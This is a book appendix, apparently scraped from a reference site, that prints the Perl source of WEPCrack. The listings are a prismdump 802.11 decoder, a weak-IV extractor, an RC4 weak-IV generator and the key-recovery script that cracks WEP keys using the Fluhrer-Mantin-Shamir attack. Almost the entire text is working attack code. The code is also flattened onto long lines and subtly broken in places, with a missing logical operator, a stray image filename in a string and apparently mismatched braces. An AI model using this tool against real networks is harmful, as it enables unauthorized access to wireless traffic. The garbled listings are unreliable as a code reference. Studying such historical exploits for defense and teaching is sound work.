Appendix B. WEPCrack Exploit Code Example


IN THIS APPENDIX

  • GNU General Public License

As we have mentioned numerous times, the WEPCrack software (whose author, Anton T. Rager, is one of the technical reviewers of this book) was the first public release to validate the theory unleashed in the seminal paper "Weakness in the Key Scheduling Algorithm of RC4" by Fluhrer, Mantin, and Shamir. Their paper, which revealed that the RC4 implementation of wireless 802.11 encryption was fundamentally flawed, came as a slap across the collective face of wireless security. According to this paper, WEP could be cracked in a couple of hours with the proper programming. However, it was not until the release of WEPCrack that this theory was validated with a tangible example. By testing and modifying this example yourself, you will gain a deeper insight into the theories propounded in this book. We therefore present for your study, written in golden letters upon the pages of history, the Perl source code (Listing B.1).

Listing B.1 is the source code for the Prism-decode.pl module of the WEPCrack exploit. Prism-decode.pl is an 802.11 protocol decoder for prismdump output. Input may be either a prisdump capture file or piped prismdump data.

Listing B.1 Prism-decode.pl Is an 802.11 Protocol Decoder for prismdump Output
 #!/usr/bin/perl  # output to script  # Anton T. Rager - 08/17/2001  # Known bugs : readtoend() is broken.  Data packets with ff:ff:ff:ff will f-up the next few packets. Need to read pkt len and  # seek to end  $pcapfile=@ARGV[0];  if ($pcapfile) {          if (!-f $pcapfile) {                  die("File not found\n");          }          open(INFILE, $pcapfile);  } else {          open(INFILE, "-");  }  # Look to see if valid pcap file and determine Endian-ness  for ($i=0; $i<4; $i++) {          $inchar=getc(INFILE);          $pcapformat=$pcapformat . $inchar;  }  $pcap_hex=unpack('H*', $pcapformat);  print("\n\nPcap Header : $pcap_hex\n");  if ($pcap_hex eq "d4c3b2a1") {          print("Big Endian\n");          $big=1;  } elsif ($pcap_hex eq "a1b2c3d4") {          print("Little Endian\n");          $big=0;  } else {          die("Not Pcap?\n");  }  # Jump over rest of file header  for ($i=0; $i<20; $i++) {          $inchar=getc(INFILE);   }  $caplen_val=unpack('V*', $caplen);  # 1st 4 bytes: #MS  # 2nd 4 bytes: #secs  # 3rd 4 bytes: caplen  # 4th 4 bytes: pktlen  # use caplen value for readahead.  $caplen="";  for ($i=0; $i<4; $i++) {          $inchar=getc(INFILE);  }  for ($i=0; $i<4; $i++) {          $inchar=getc(INFILE);  }  #Get actual captured pkt len  for ($i=0; $i<4; $i++) {          $inchar=getc(INFILE);          $caplen=$caplen . $inchar;  }  for ($i=0; $i<4; $i++) {          $inchar=getc(INFILE);          $rptlen=$rptlen . $inchar;  }  # convert len from char to little endian long.  if ($big) {          $caplen_val=unpack('V*', $caplen);                 $rpt_val=unpack('V*', $rptlen);  } else {          $caplen_val=unpack('N*', $caplen);  }  print("\n\nnext pkt capture length : $caplen_val, next pkt rpt length : $rpt_val\n");  while (!eof(INFILE)) {          print("\n\n802.11 Header:\n");          print("\n\tFrame CTRL: ");           $inchar=ord(getc(INFILE));          $frametype=$inchar;          $inchar=ord(getc(INFILE));          $flags=$inchar;          #print("\n\tDuration: ");          for ($i=0; $i<2; $i++) {                  $inchar=ord(getc(INFILE));          }          if ($frametype eq 0x80) {                  print("\n\tBeacon Frame:\n");                  &beacon();          } elsif ($frametype eq 0x08) {                  print("\n\tData Frame:\n");                  &dataframe();          } elsif ($frametype eq 0x00) {                  print("\n\tAssociation Request Frame:\n");                  #&readtoend();                  &asn_req();          } elsif ($frametype eq 0x10) {                  print("\n\tAssociation Response Frame:\n");                  &asn_rpl();          } elsif ($frametype eq 0x40) {                  print("\n\tProbe Request Frame:\n");                  &probe_req();          } elsif ($frametype eq 0x50) {                  print("\n\tProbe Response Frame:\n");                  &probe_rpl();          } elsif ($frametype eq 0xb0) {                  print("\n\tAuthentication Frame:\n");                  &auth();          } elsif ($frametype eq 0xc0) {                  print("\n\tDisAssociation Frame:\n");                  &de_asn ();          } elsif ($frametype eq 0xd4) {                  print("\n\tACK Frame - Skipping\n");                  &readtoend($caplen_val-5);                  # ACK frame : no src, dst, bssid fields.                  # ACK frame =  Type, flags, duration [2 bytes], rcv addr [6 bytes]           } else {                  print("\n\tOther Frame - Skipping\n");                  &readtoend($caplen_val-5);                  # RTS - 0xb4                  # ReAssociation Request -                 # DeAuth -         }          # jump to next record  #        for ($i=0; $i<16; $i++) {  #                $inchar=ord(getc(INFILE));  #        }          # 1st 4 bytes: #MS          # 2nd 4 bytes: #secs          # 3rd 4 bytes: caplen          # 4th 4 bytes: pktlen          # use caplen value for readahead.          $caplen="";          $rptlen="";          for ($i=0; $i<4; $i++) {                  $inchar=getc(INFILE);          }          for ($i=0; $i<4; $i++) {                  $inchar=getc(INFILE);          }          for ($i=0; $i<4; $i++) {                  $inchar=getc(INFILE);                  $caplen=$caplen . $inchar;          }          for ($i=0; $i<4; $i++) {                  $inchar=getc(INFILE);                  $rptlen=$rptlen . $inchar;          }          if ($big) {                  $caplen_val=unpack('V*', $caplen);                  $rpt_val=unpack('V*', $rptlen);          } else {                  $caplen_val=unpack('N*', $caplen);           }          print("\n\nnext pkt capture length :      $caplen_val, next pkt rpt length : $rpt_val\n");      }      exit;      sub beacon() {          &gen_header();          print("\nFixed Parameters:\n");          for ($i=0; $i<10; $i++) {              $inchar=ord(getc(INFILE));              printf("%02x", $inchar);          }          print("\n\tCapability Flags: ");          for ($i=0; $i<2; $i++) {              $inchar=ord(getc(INFILE));              printf("%02x", $inchar);          }          &tagparms();      }      sub dataframe(){          &gen_header();          # ----- Start Reading Data:      WEP 1st 3bytes IV, 4th should be 0, 5th should 1st encr output          print("\nIV: ");          for ($x=0; $x<3; $x++) {              $inchar=ord(getc(INFILE));              printf("%02x", $inchar);       }      print("\nIV Options: ");      $inchar=ord(getc(INFILE));      printf("%02x", $inchar);      print("\nEncr Byte1: ");      $inchar=ord(getc(INFILE));      printf("%02x", $inchar);      #read to end of record [ff-ff-ff-ff -- then,  read next record [jump ahead 16bytes?]      &readtoend($caplen_val-30);  }  sub asn_req () {      &gen_header();      # fixed : capability [2B], Listen Int[2B]      print("\n\tCapability Flags: ");      for ($i=0; $i<2; $i++) {          $inchar=ord(getc(INFILE));          printf("%02x", $inchar);      }      print("\n\tListen Interval: ");      for ($i=0; $i<2; $i++) {          $inchar=ord(getc(INFILE));          printf("%02x", $inchar);      }      &tagparms();  }  sub asn_rpl () {      &gen_header();      # fixed : capability [2B], Status Code [2B], Association ID [2B]      print("\n\tCapability Flags: ");       for ($i=0; $i<2; $i++) {          $inchar=ord(getc(INFILE));          printf("%02x", $inchar);      }      print("\n\tStatus Code: ");      for ($i=0; $i<2; $i++) {          $inchar=ord(getc(INFILE));          printf("%02x", $inchar);      }      print("\n\tAssociation ID: ");      for ($i=0; $i<2; $i++) {          $inchar=ord(getc(INFILE));          printf("%02x", $inchar);      }      &tagparms();  }  sub probe_req () {      &gen_header();      &tagparms();  }  sub probe_rpl () {      &gen_header();      # fixed : timestamp [8B], beacon int [2B], capability [2B]      print("\nFixed Parameters:\n");      for ($i=0; $i<10; $i++) {          $inchar=ord(getc(INFILE));          printf("%02x", $inchar);      }      print("\n\tCapability Flags: ");      for ($i=0; $i<2; $i++) {          $inchar=ord(getc(INFILE));          printf("%02x", $inchar);      }      &tagparms();  }   sub auth () {      &gen_header();      # fixed : Auth ALG [2B], Auth Seq [2B], Status Code [2B]      print("\n\tAuth ALG: ");      for ($i=0; $i<2; $i++) {          $inchar=ord(getc(INFILE));          printf("%02x", $inchar);      }      print("\n\tAuth Seq: ");      for ($i=0; $i<2; $i++) {          $inchar=ord(getc(INFILE));          printf("%02x", $inchar);      }      print("\n\tStatus Code: ");      for ($i=0; $i<2; $i++) {          $inchar=ord(getc(INFILE));          printf("%02x", $inchar);      }      for ($i=0; $i<4; $i++) {          $inchar=getc(INFILE);          #printf("%02x", $inchar);      }  }  sub de_asn () {      &gen_header();      #fixed : Reason Code [2B]      print("\n\tReason Code: ");      for ($i=0; $i<2; $i++) {          $inchar=ord(getc(INFILE));          printf("%02x", $inchar);      }      for ($i=0; $i<4; $i++) {          $inchar=getc(INFILE);          #printf("%02x", $inchar);      }  }   sub gen_header() {      print("\n\tDest Addr: ");      for ($i=0; $i<6; $i++) {          $inchar=ord(getc(INFILE));          printf("%02x", $inchar);      }      print("\n\tSrc Addr: ");      for ($i=0; $i<6; $i++) {          $inchar=ord(getc(INFILE));          printf("%02x", $inchar);      }      print("\n\tBSSID Addr: ");      for ($i=0; $i<6; $i++) {          $inchar=ord(getc(INFILE));          printf("%02x", $inchar);      }      print("\n");      for ($i=0; $i<2; $i++) {          $inchar=ord(getc(INFILE));          printf("%02x", $inchar);      }  }  sub readtoend {      # Nasty kludge to read to end of frame.  End of frame is FF:FF:FF:FF.  Review 802.11 spec for better method      # doesn't always work -- if data packet has FF:FF:FF:FF  in it, next few decodes are f'd up.          my @passed = @_;      print("Passed val : $passed[0]\n");  #    $endpkt=0;      for ($i=0; $i<$passed[0]+1; $i++) {          $inchar=getc(INFILE);      }  #    while (!$endpkt) {   #        $inchar=ord(getc(INFILE));  #        if ($inchar eq 255) {  #            $inchar=ord(getc(INFILE));  #            if ($inchar eq 255) {  #                $inchar=ord(getc(INFILE));  #                if ($inchar eq 255) {  #                    $inchar=ord(getc(INFILE));  #                    if ($inchar eq 255) {  #                        $endpkt=1;  #                    }  #                }  #            }  #        }  #    }  }  sub tagparms() {      print("\nTagged Parameters: ");      $endpkt=0;      while (!$endpkt) {          $inchar=ord(getc(INFILE));          if ($inchar eq 0x00) {              print("\n\tSSID: ");              $inchar=ord(getc(INFILE));              $numchars=$inchar;              for ($x=0; $x < $numchars; $x++) {                  $inchar=getc(INFILE);                  print("$inchar");              }          }          elsif ($inchar eq 0x01) {              print("\n\tSupported Rates: ");              $inchar=ord(getc(INFILE));              $numchars=$inchar;              for ($x=0; $x < $numchars; $x++) {                  $inchar=ord(getc(INFILE));                  printf("%02x", $inchar);              }          }          elsif ($inchar eq 0x03) {               print("\n\tChannel: ");              $inchar=ord(getc(INFILE));              $numchars=$inchar;              for ($x=0; $x < $numchars; $x++) {                  $inchar=ord(getc(INFILE));                  printf("%02x", $inchar);              }          }          elsif ($inchar eq 0xff) {              print("\n\tEnd Marker: ");              $inchar=ord(getc(INFILE));              $numchars=$inchar;              if ($numchars eq 255) {                  $numchars=2;                  $endpkt=1;              }              for ($x=0; $x < 2; $x++) {                  $inchar=ord(getc(INFILE));                  printf("%02x", $inchar);              }          } else {              print("\n\tUnknown Tag: ");              $inchar=ord(getc(INFILE));              $numchars=$inchar;              for ($x=0; $x < $numchars; $x++) {                  $inchar=ord(getc(INFILE));                  printf("%02x", $inchar);              }          }      }      print("\n");  } 

The following section of WEPCrack is the Prisdump Parser, which is a script to look for IVs that match possible weak IV/key pairs. See Listing B.2.

Listing B.2 Prisdump Parser ( prism-getIV.pl )
 #!/usr/bin/perl  # prism-getIV.pl  # Anton T. Rager - 08/17/2001  $pcapfile=@ARGV[0];  if ($pcapfile) {      if (!-f $pcapfile) {          die("File not found\n");      }      open(INFILE, $pcapfile);  } else {      open(INFILE, "-");  }  #open(LSBFILE, ">LSB-IVFile.log");  open(MSBFILE,">IVFile.log");  #open(FULLFILE,">LSB-IVpayload.log");  # hardcoded fo 40bit WEP  print(MSBFILE "5\n");  # 128bit WEP  #print(MSBFILE "13\n");  # Jump over header  for ($i=0; $i<40; $i++) {      $inchar=ord(getc(INFILE));  }  while (!eof(INFILE)) {  #print("\n\n802.11 Header:\n");  #print("\n\tFrame CTRL: ");  $inchar=ord(getc(INFILE));  #printf("%02x", $inchar);  $frametype=$inchar;  $inchar=ord(getc(INFILE));  #printf("%02x", $inchar);   $flags=$inchar;  #print("\n\tDuration: ");  for ($i=0; $i<2; $i++) {      $inchar=ord(getc(INFILE));  #    printf("%02x", $inchar);  }  if ($frametype eq 0x08) {  #    print("\n\tData Frame:\n");      &dataframe();  } else {  #    print("\n\tOther Frame - Skipping\n");      #read to end of record [ff-ff-ff-ff -- then,  read next record [jump ahead 16bytes?]      $endpkt=0;      while (!$endpkt) {          $inchar=ord(getc(INFILE));          if ($inchar eq 255) {              $inchar=ord(getc(INFILE));              if ($inchar eq 255) {                  $inchar=ord(getc(INFILE));                  if ($inchar eq 255) {                      $inchar=ord(getc(INFILE));                      if ($inchar eq 255) {                          $endpkt=1;                      }                  }              }          }      }  }      # jump to next record      for ($i=0; $i<16; $i++) {       $inchar=ord(getc(INFILE));      }  }  close(INFILE);  close(MSBFILE);  close(LSBFILE);  close(FULLFILE);  exit;  sub dataframe(){  #If ctrl = data  #print("\n\tDest Addr: ");  for ($i=0; $i<6; $i++) {      $inchar=ord(getc(INFILE));  #    printf("%02x", $inchar);  }  #print("\n\tSrc Addr: ");  for ($i=0; $i<6; $i++) {      $inchar=ord(getc(INFILE));  #    printf("%02x", $inchar);  }  #print("\n\tBSSID Addr: ");  for ($i=0; $i<6; $i++) {      $inchar=ord(getc(INFILE));  #    printf("%02x", $inchar);  }  #print("\n");  for ($i=0; $i<2; $i++) {  $inchar=ord(getc(INFILE));  #printf("%02x", $inchar);   #print("$inchar-");  }  # ----- Start Reading Data: WEP 1st 3bytes IV, 4th should be 0,  5th should 1st encr output  #print("\nIV: ");  for ($x=0; $x<3; $x++) {      $inchar=ord(getc(INFILE));      $IVList[$x]=$inchar;  #    print("$inchar-");  }  #print("\nIV Options: ");  $inchar=ord(getc(INFILE));  #printf("%02x", $inchar);  #print("\nEncr Byte1: ");  $inchar=ord(getc(INFILE));  $onebyte=$inchar;  #printf("%02x", $inchar);  if ($IVList[0] > 2 && $IVList[0] < 14 && $IVList[1] eq 255) {      print("\t\nMatch normal order [MSB]:  $IVList[0] $IVList[1] $IVList[2] $onebyte\n");      print(MSBFILE "$IVList[0] $IVList[1] $IVList[2] $onebyte\n");      #print("\t\nMatch normal order: $IVList[0] $IVList[1] $IVList[2]\n");  #} elsif ($IVList[2] > 2 && $IVList[2] < 14 && $IVList[1] eq 255) {  #    print("\t\nMatch reverse order [LSB]:  $IVList[2] $IVList[1] $IVList[0] $onebyte\n");  #    print(LSBFILE "$IVList[2] $IVList[1] $IVList[0] $onebyte\n");  }  #read to end of record [kludge: look for ff-ff-ff-ff   then, read next record [jump ahead 16bytes?]  $endpkt=0;  while (!$endpkt) {      $inchar=ord(getc(INFILE));      if ($inchar eq 255) {           $inchar=ord(getc(INFILE));          if ($inchar eq 255) {              $inchar=ord(getc(INFILE));              if ($inchar eq 255) {                  $inchar=ord(getc(INFILE));                  if ($inchar eq 255) {                      $endpkt=1;                  }              }          }      }  }  # --------------------------------- }  #close(INFILE); 

The following is a basic RC4 keyscheduler and PRGA routine that chooses IVs known to be weak (A+3, N-1, X) and encrypts one byte with keys supplied from the command line. An output file is created in the current directory that contains IVs with a corresponding encrypted byte, as well as an indicator for secret key size. The choice of the (A+3, N-1, X) keys is based on the paper "Weakness in the Key Scheduling Algorithm of RC4" by Scott Fluhrer, Itsik Mantin, and Adi Shamir ( WeakIVGen.PL ). See Listing B.3.

Listing B.3 RC4 Keyscheduler
[View full width]
 #!/usr/bin/perl  # By : Anton T. Rager - 08/09/2001-08/12/2001  #      a_rager@yahoo.com  $findhost=@ARGV[0];  if (!$findhost) {       print("Usage:  WeakIVGen.pl <Key1:Key2:Key3:Key4:Key5...Keyn>\n\nWhere  Keyx is key byte in decimal\nAnd : is delimiter for each byte [40bit=5bytes, graphics/ccc.gif 128bit=11bytes]\n");      exit;  }  $i=0;  $j=0;  $ik=0;  $x=0;  @inkey=split(":", @ARGV[0]);  @IV = (3, 255, 0);  # 802.2 SNAP Header should be 1st plaintext byte of WEP packet  @text = (0xaa);  # Keysize 11 byte or 5 byte  $keysize=scalar(@inkey);  $bitsize=$keysize*8;  print("Keysize = $keysize\[$bitsize bits\]\n");  open(OUTFILE, ">IVFile.log");  print("$keysize\n");  print(OUTFILE "$keysize\n");  $keylen = $keysize+3;  for ($B=0; $B < $keysize; $B++) {      #print("$B\n");      for ($loop1=0; $loop1 < 256 ; $loop1++) {          $IV[2]=$loop1;      #  for ($loop2=0; $loop2 < 10; $loop2++) {          $IV[0]=$B+3;      #    $IV[0]=$loop2;                   for ($i=0; $i < $keylen; $i++) {              if ($i < 3) {                  $Key[$i]=$IV[$i];              } else {                  $Key[$i]=$inkey[$i-3];              }          }          $i=0;          $j=0;          $ik=0;          for ($i=0; $i<256; $i++) {              $S[$i]=$i;              if ($ik > $keylen-1) {                  $ik=0;              }              $Key[$i]=$Key[$ik];              $ik++;          }          for ($i=0; $i<256; $i++) {              $j=($j+$S[$i]+$Key[$i]) % 256;              $temp = $S[$i];              $S[$i] = $S[$j];              $S[$j] = $temp;          }          # 1 byte thru PRGA          $i=0;          $j=0;          $i=($i+1) % 256;          $j=($j + $S[$i]) % 256;          $temp=$S[$i];          $S[$i]=$S[$j];          $S[$j]=$temp;          $t=($S[$i]+$S[$j]) % 256;          $K=$S[$t];          $encr=$text[0] ^ $K;          $S3Calc = $text[0] ^ $encr;           print("$IV[0] $IV[1] $IV[2] $encr\n");          print(OUTFILE "$IV[0] $IV[1] $IV[2] $encr\n");      }  }  print("\n");  close(OUTFILE);  WEPCrack.PL  #!/usr/bin/perl  # Basic WEP/RC4 crack tool that demonstrates the key scheduling  weaknesses described in the paper  # "Weakness in the Key Scheduling Algorithm of RC4" by Scott  Fluhrer, Itsik Mantin, and Adi Shamir.  #  # script relies on existance of file with list of IVs and 1st  encrypted output byte to produce the  # secret key originally used to encrypt the list of IVs.  Another script [WeakIVGen.pl] is included to  # produce weak IVs and the encrypted output byte for this script to use.  #  # By : Anton T. Rager - 08/09/2001-08/12/2001  #      a_rager@yahoo.com  $i=0;  $j=0;  $ik=0;  $x=0;  # 802.2 SNAP Header should be 1st plaintext byte of WEP packet  @text = (0xaa);   if (!-f "IVFile.log") {      die("Error :\nNo IVFile.log file found - run  WeakIVGen.pl 1st to generate file\n");  }  # Keysize 11 byte or 5 byte  open (IVFILE, "IVFile.log");  @IVList=<IVFILE>;  close (IVFILE);  $keysize=$IVList[0];  chomp($keysize);  splice(@IVList, 0, 1);  $bitsize=$keysize*8;  print("Keysize = $keysize \[$bitsize bits\]\n");  for ($B=0; $B < $keysize; $B++) {      # Init statistics array      for ($i=0; $i < 256; $i++) {          $stat[$i]=0;      }      foreach $IVRec (@IVList) {          @IV=split(" ",$IVRec);          $key[0]=$IV[0];          $key[1]=$IV[1];          $key[2]=$IV[2];              $encr=$IV[3];          if ($key[0] eq $B+3) {  # Look for matching IV for 1st Key byte              $i=0;              $j=0;               $ik=0;              for ($i=0; $i<256; $i++) {                  $S[$i]=$i;              }              # 0 to 3+K[b]              for ($i=0; $i< $B + 3; $i++) {                  $j=($j+$S[$i]+$key[$i]) % 256;                  $temp = $S[$i];                  $S[$i] = $S[$j];                  $S[$j] = $temp;                  if ($i eq 1) {                      $S1[0]=$S[0];                      $S1[1]=$S[1];                  }              }              $X=$S[1];              if ($X < $B + 3) {                  if ($X+$S[$X] eq $B + 3) {                               if ($S[0] ne $S1[0]  $S[1] ne $S1[1]) {                          #print("Throwaway IV $IV[0], $IV[1], $IV[2]\n");                      }  # Xor inbyte and outbyte to get S[3]  # plugin S[3] as J and subtract (5+x+S[3]) to get K                          $S3Calc = $encr ^ $text[0];                      $leaker = $S3Calc-$j-$S[$i] %256;                      $stat[$leaker]++;  #                    $match++;  #                    if($match >99) {  #                        print("100 matches  collected in $counter tries\n");  #                        exit;  #                    }                  }               }      $max=0;      $count=0;      foreach $rank (@stat) {          if ($rank > $max) {              $max=$rank;              $winner=$count;          }          $count++;      }      }      }      print("$winner ");      push (@key, $winner);  }  print("\n"); 


Maximum Wireless Security
Maximum Wireless Security
ISBN: 0672324881
EAN: 2147483647
Year: 2002
Pages: 171

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net